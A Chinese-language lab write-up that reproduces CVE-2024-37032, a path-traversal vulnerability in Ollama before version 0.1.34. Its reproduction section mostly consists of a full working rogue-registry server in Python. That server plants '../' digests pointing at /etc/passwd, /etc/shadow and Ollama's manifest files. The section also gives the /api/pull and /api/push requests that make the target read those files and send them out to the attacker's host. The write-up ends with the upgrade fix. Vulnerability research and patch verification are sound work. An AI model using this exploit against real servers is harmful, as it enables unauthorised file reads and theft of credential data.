> 技术文档 > Ollama远程代码执行漏洞(CVE-2024-37032)

Ollama远程代码执行漏洞(CVE-2024-37032)


0x01简介

Ollama是一个专为在本地环境中运行和定制大型语言模型而设计的工具。它提供了一个简单高效的接口,用于创建、运行和管理这些模型,同时还提供了一个丰富的预构建模型库,可以轻松集成到各种应用程序中。Ollama的目标是使大型语言模型的部署和交互变得简单,无论是对于开发者还是对于终端用户。

0x02 漏洞概述

漏洞编号:CVE-2024-37032 该漏洞允许通过路径遍历任意写入文件。digest字段的验证不正确,服务器错误地将有效负载解释为合法的文件路径,攻击者可在digest字段中包含路径遍历payload的恶意清单文件,利用该漏洞实现任意文件读取/写入或导致远程代码执行。

0x03 影响版本

Ollama < 0.1.34

0x04 环境搭建

在docker里面设置/etc/docker/daemon.json文件,可供拉取国外镜像(没有可新建)

{ \"registry-mirrors\": [   \"https://registry.docker-cn.com\",   \"http://hub-mirror.c.163.com\",   \"https://dockerhub.azk8s.cn\",   \"https://mirror.ccs.tencentyun.com\",   \"https://registry.cn-hangzhou.aliyuncs.com\",   \"https://docker.mirrors.ustc.edu.cn\",   \"https://docker.m.daocloud.io\",     \"https://noohub.ru\",   \"https://huecker.io\",   \"https://dockerhub.timeweb.cloud\" ]}​

拉取docker镜像

docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

image.png

进行访问测试

image.png

0x05 漏洞复现

查看/etc/passwd

image.png

git clone exp

git clone https://github.com/Bi0x/CVE-2024-37032.git

在poc.py和server.py中的host变量和target_url和host变量,修改为目标ip,运行server.py后运行poc.py,读取/etc/passwd文件

通过模拟Ollama请求,构造一个恶意模型。在digest字段设置路径穿越payload,代码如下:

from fastapi import FastAPI, Request, Response​HOST = \"192.168.244.133\"app = FastAPI()​@app.get(\"/\")async def index_get():   return {\"message\": \"Hello rogue server\"}​@app.post(\"/\")async def index_post(callback_data: Request):   print(await callback_data.body())   return {\"message\": \"Hello rogue server\"}​# for ollama pull@app.get(\"/v2/rogue/bi0x/manifests/latest\")async def fake_manifests():   return {\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"digest\":\"../../../../../../../../../../../../../etc/shadow\",\"size\":10},\"layers\":[{\"mediaType\":\"application/vnd.ollama.image.license\",\"digest\":\"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile\",\"size\":10},{\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"digest\":\"../../../../../../../../../../../../../etc/passwd\",\"size\":10},{\"mediaType\":\"application/vnd.ollama.image.license\",\"digest\":f\"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest\",\"size\":10}]}​@app.head(\"/etc/passwd\")async def fake_passwd_head(response: Response):   response.headers[\"Docker-Content-Digest\"] = \"../../../../../../../../../../../../../etc/passwd\"   return \'\'​@app.get(\"/etc/passwd\", status_code=206)async def fake_passwd_get(response: Response):   response.headers[\"Docker-Content-Digest\"] = \"../../../../../../../../../../../../../etc/passwd\"   response.headers[\"E-Tag\"] = \"\\\"../../../../../../../../../../../../../etc/passwd\\\"\"   return \'cve-2024-37032-test\'​@app.head(f\"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest\")async def fake_latest_head(response: Response):   response.headers[\"Docker-Content-Digest\"] = \"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\"   return \'\'​@app.get(f\"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest\", status_code=206)async def fake_latest_get(response: Response):   response.headers[\"Docker-Content-Digest\"] = \"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\"   response.headers[\"E-Tag\"] = \"\\\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\\\"\"   return {\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"digest\":\"../../../../../../../../../../../../../etc/shadow\",\"size\":10},\"layers\":[{\"mediaType\":\"application/vnd.ollama.image.license\",\"digest\":\"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile\",\"size\":10},{\"mediaType\":\"application/vnd.ollama.image.license\",\"digest\":\"../../../../../../../../../../../../../etc/passwd\",\"size\":10},{\"mediaType\":\"application/vnd.ollama.image.license\",\"digest\":f\"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest\",\"size\":10}]}​@app.head(\"/tmp/notfoundfile\")async def fake_notfound_head(response: Response):   response.headers[\"Docker-Content-Digest\"] = \"../../../../../../../../../../../../../tmp/notfoundfile\"   return \'\'​@app.get(\"/tmp/notfoundfile\", status_code=206)async def fake_notfound_get(response: Response):   response.headers[\"Docker-Content-Digest\"] = \"../../../../../../../../../../../../../tmp/notfoundfile\"   response.headers[\"E-Tag\"] = \"\\\"../../../../../../../../../../../../../tmp/notfoundfile\\\"\"   return \'cve-2024-37032-test\'​# for ollama push@app.post(\"/v2/rogue/bi0x/blobs/uploads/\", status_code=202)async def fake_upload_post(callback_data: Request, response: Response):   print(await callback_data.body())   response.headers[\"Docker-Upload-Uuid\"] = \"3647298c-9588-4dd2-9bbe-0539533d2d04\"   response.headers[\"Location\"] = f\"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D\"   return \'\'​@app.patch(\"/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04\", status_code=202)async def fake_patch_file(callback_data: Request):   print(\'patch\')   print(await callback_data.body())   return \'\'​@app.post(\"/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04\", status_code=202)async def fake_post_file(callback_data: Request):   print(await callback_data.body())   return \'\'​@app.put(\"/v2/rogue/bi0x/manifests/latest\")async def fake_manifests_put(callback_data: Request, response: Response):   print(await callback_data.body())   response.headers[\"Docker-Upload-Uuid\"] = \"3647298c-9588-4dd2-9bbe-0539533d2d04\"   response.headers[\"Location\"] = f\"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D\"   return \'\'​if __name__ == \"__main__\":   import uvicorn   uvicorn.run(app, host=\'0.0.0.0\', port=80)​

image.png

/api/pull端点将恶意模型载入

POST /api/pull HTTP/1.1Host: 192.168.244.133:11434Content-Type: application/jsonContent-Length: 54​{ \"name\": \"192.168.244.133/rogue/bi0x\", \"insecure\": true}​

image.png

通过/api/push端点将此恶意模型推送到远程注册表,服务器将处理构造的manifest文件。

POST /api/push HTTP/1.1Host: 192.168.244.133:11434Content-Type: application/json​{ \"name\": \"192.168.244.133/rogue/bi0x\", \"insecure\": true                     }

image.png

通过推送后处理,执行读取/etc/passwd文件,windows下运行的server.py

image.png

0x06 修复方式

升级至0.1.34以上版本

参考链接

Probllama in Ollama: A tale of a yet another RCE vulnerability (CVE-2024-37032) - vsociety Docker配置国内镜像源 | 从01开始